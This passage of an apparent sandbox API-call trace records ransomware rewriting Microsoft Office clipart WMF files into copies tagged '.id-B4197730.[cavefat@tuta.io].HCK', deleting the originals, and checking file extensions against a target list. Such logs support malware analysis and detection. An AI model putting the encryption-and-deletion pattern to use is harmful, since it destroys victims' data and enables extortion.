(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183574.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0241.920] GetLastError () returned 0x0 [0241.920] ReadFile (in: hFile=0x4cc, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x4b4a, lpOverlapped=0x0) returned 1 [0241.922] WriteFile (in: hFile=0x3bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x4b50, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x4b50, lpOverlapped=0x0) returned 1 [0241.923] ReadFile (in: hFile=0x4cc, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.923] WriteFile (in: hFile=0x3bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0241.923] SetEndOfFile (hFile=0x3bc) returned 1 [0241.923] CloseHandle (hObject=0x3bc) returned 1 [0241.923] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.923] SetEndOfFile (hFile=0x4cc) returned 1 [0241.925] CloseHandle (hObject=0x4cc) returned 1 [0241.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183574.wmf")) returned 1 [0241.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF") returned 68 [0241.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF") returned 68 [0241.926] lstrlenW (lpString=".doc") returned 4 [0241.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.926] lstrlenW (lpString=".docx") returned 5 [0241.926] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0241.926] lstrlenW (lpString=".pdf") returned 4 [0241.926] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.926] lstrlenW (lpString=".xls") returned 4 [0241.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.926] lstrlenW (lpString=".xlsx") returned 5 [0241.926] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0241.926] lstrlenW (lpString=".ppt") returned 4 [0241.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF") returned 68 [0241.926] lstrlenW (lpString=".zip") returned 4 [0241.926] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.926] lstrlenW (lpString=".rar") returned 4 [0241.926] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.926] lstrlenW (lpString=".bz2") returned 4 [0241.927] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.927] lstrlenW (lpString=".7z") returned 3 [0241.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF") returned 68 [0241.927] lstrlenW (lpString=".dbf") returned 4 [0241.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF") returned 68 [0241.927] lstrlenW (lpString=".1cd") returned 4 [0241.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF") returned 68 [0241.927] lstrlenW (lpString=".jpg") returned 4 [0241.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF") returned 68 [0241.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF") returned 68 [0241.927] lstrlenW (lpString=".doc") returned 4 [0241.927] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.927] lstrlenW (lpString=".docx") returned 5 [0241.927] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0241.927] lstrlenW (lpString=".pdf") returned 4 [0241.927] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.927] lstrlenW (lpString=".xls") returned 4 [0241.927] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.927] lstrlenW (lpString=".xlsx") returned 5 [0241.927] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0241.927] lstrlenW (lpString=".ppt") returned 4 [0241.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF") returned 68 [0241.927] lstrlenW (lpString=".zip") returned 4 [0241.927] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.927] lstrlenW (lpString=".rar") returned 4 [0241.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.927] lstrlenW (lpString=".bz2") returned 4 [0241.927] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.927] lstrlenW (lpString=".7z") returned 3 [0241.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF") returned 68 [0241.927] lstrlenW (lpString=".dbf") returned 4 [0241.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF") returned 68 [0241.927] lstrlenW (lpString=".1cd") returned 4 [0241.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF") returned 68 [0241.928] lstrlenW (lpString=".jpg") returned 4 [0241.928] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.928] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0241.928] lstrlenW (lpString="J0185670.WMF") returned 12 [0241.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185670.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0241.929] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=7304) returned 1 [0241.929] CloseHandle (hObject=0x4cc) returned 1 [0241.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185670.wmf")) returned 0x220 [0241.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185670.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185670.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0241.930] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.930] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185670.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0241.930] GetLastError () returned 0x0 [0241.931] ReadFile (in: hFile=0x4cc, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x1c88, lpOverlapped=0x0) returned 1 [0241.932] WriteFile (in: hFile=0x3bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x1c90, lpOverlapped=0x0) returned 1 [0241.933] ReadFile (in: hFile=0x4cc, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.933] WriteFile (in: hFile=0x3bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0241.933] SetEndOfFile (hFile=0x3bc) returned 1 [0241.933] CloseHandle (hObject=0x3bc) returned 1 [0241.933] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.933] SetEndOfFile (hFile=0x4cc) returned 1 [0241.935] CloseHandle (hObject=0x4cc) returned 1 [0241.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.935] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185670.wmf")) returned 1 [0241.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68 [0241.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68 [0241.936] lstrlenW (lpString=".doc") returned 4 [0241.936] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.936] lstrlenW (lpString=".docx") returned 5 [0241.936] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0241.936] lstrlenW (lpString=".pdf") returned 4 [0241.936] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.936] lstrlenW (lpString=".xls") returned 4 [0241.936] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.936] lstrlenW (lpString=".xlsx") returned 5 [0241.936] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0241.936] lstrlenW (lpString=".ppt") returned 4 [0241.936] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68 [0241.936] lstrlenW (lpString=".zip") returned 4 [0241.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.936] lstrlenW (lpString=".rar") returned 4 [0241.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.936] lstrlenW (lpString=".bz2") returned 4 [0241.936] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.936] lstrlenW (lpString=".7z") returned 3 [0241.936] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68 [0241.937] lstrlenW (lpString=".dbf") returned 4 [0241.937] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68 [0241.937] lstrlenW (lpString=".1cd") returned 4 [0241.937] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68 [0241.937] lstrlenW (lpString=".jpg") returned 4 [0241.937] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68 [0241.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68 [0241.937] lstrlenW (lpString=".doc") returned 4 [0241.937] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.937] lstrlenW (lpString=".docx") returned 5 [0241.937] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0241.937] lstrlenW (lpString=".pdf") returned 4 [0241.937] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.937] lstrlenW (lpString=".xls") returned 4 [0241.937] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.937] lstrlenW (lpString=".xlsx") returned 5 [0241.937] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0241.937] lstrlenW (lpString=".ppt") returned 4 [0241.937] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68 [0241.937] lstrlenW (lpString=".zip") returned 4 [0241.937] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.937] lstrlenW (lpString=".rar") returned 4 [0241.937] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.937] lstrlenW (lpString=".bz2") returned 4 [0241.937] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.937] lstrlenW (lpString=".7z") returned 3 [0241.937] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68 [0241.937] lstrlenW (lpString=".dbf") returned 4 [0241.937] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68 [0241.937] lstrlenW (lpString=".1cd") returned 4 [0241.937] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68 [0241.937] lstrlenW (lpString=".jpg") returned 4 [0241.937] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.938] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0241.938] lstrlenW (lpString="J0185774.WMF") returned 12 [0241.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185774.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0241.938] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=20038) returned 1 [0241.938] CloseHandle (hObject=0x4cc) returned 1 [0241.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185774.wmf")) returned 0x220 [0241.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185774.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185774.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0241.939] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.939] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185774.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0241.940] GetLastError () returned 0x0 [0241.940] ReadFile (in: hFile=0x4cc, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x4e46, lpOverlapped=0x0) returned 1 [0241.941] WriteFile (in: hFile=0x3bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x4e50, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x4e50, lpOverlapped=0x0) returned 1 [0241.942] ReadFile (in: hFile=0x4cc, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.942] WriteFile (in: hFile=0x3bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0241.942] SetEndOfFile (hFile=0x3bc) returned 1 [0241.943] CloseHandle (hObject=0x3bc) returned 1 [0241.943] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.943] SetEndOfFile (hFile=0x4cc) returned 1 [0242.166] CloseHandle (hObject=0x4cc) returned 1 [0242.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.223] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185774.wmf")) returned 1 [0242.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68 [0242.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68 [0242.627] lstrlenW (lpString=".doc") returned 4 [0242.627] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.627] lstrlenW (lpString=".docx") returned 5 [0242.627] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0242.627] lstrlenW (lpString=".pdf") returned 4 [0242.627] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.627] lstrlenW (lpString=".xls") returned 4 [0242.627] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.627] lstrlenW (lpString=".xlsx") returned 5 [0242.627] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0242.627] lstrlenW (lpString=".ppt") returned 4 [0242.627] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68 [0242.627] lstrlenW (lpString=".zip") returned 4 [0242.627] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.627] lstrlenW (lpString=".rar") returned 4 [0242.627] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.627] lstrlenW (lpString=".bz2") returned 4 [0242.627] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.627] lstrlenW (lpString=".7z") returned 3 [0242.627] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68 [0242.627] lstrlenW (lpString=".dbf") returned 4 [0242.627] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68 [0242.627] lstrlenW (lpString=".1cd") returned 4 [0242.627] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68 [0242.627] lstrlenW (lpString=".jpg") returned 4 [0242.627] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68 [0242.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68 [0242.627] lstrlenW (lpString=".doc") returned 4 [0242.627] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.627] lstrlenW (lpString=".docx") returned 5 [0242.627] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0242.627] lstrlenW (lpString=".pdf") returned 4 [0242.627] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.627] lstrlenW (lpString=".xls") returned 4 [0242.628] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.628] lstrlenW (lpString=".xlsx") returned 5 [0242.628] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0242.628] lstrlenW (lpString=".ppt") returned 4 [0242.628] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68 [0242.628] lstrlenW (lpString=".zip") returned 4 [0242.628] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.628] lstrlenW (lpString=".rar") returned 4 [0242.628] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.628] lstrlenW (lpString=".bz2") returned 4 [0242.628] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.628] lstrlenW (lpString=".7z") returned 3 [0242.628] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68 [0242.628] lstrlenW (lpString=".dbf") returned 4 [0242.628] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68 [0242.628] lstrlenW (lpString=".1cd") returned 4 [0242.628] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68 [0242.628] lstrlenW (lpString=".jpg") returned 4 [0242.628] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.628] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0242.628] lstrlenW (lpString="J0185818.WMF") returned 12 [0242.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185818.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0242.858] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=35726) returned 1 [0242.858] CloseHandle (hObject=0x548) returned 1 [0242.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185818.wmf")) returned 0x220 [0242.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185818.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185818.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0243.250] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.250] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185818.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0243.252] GetLastError () returned 0x0 [0243.252] ReadFile (in: hFile=0x564, 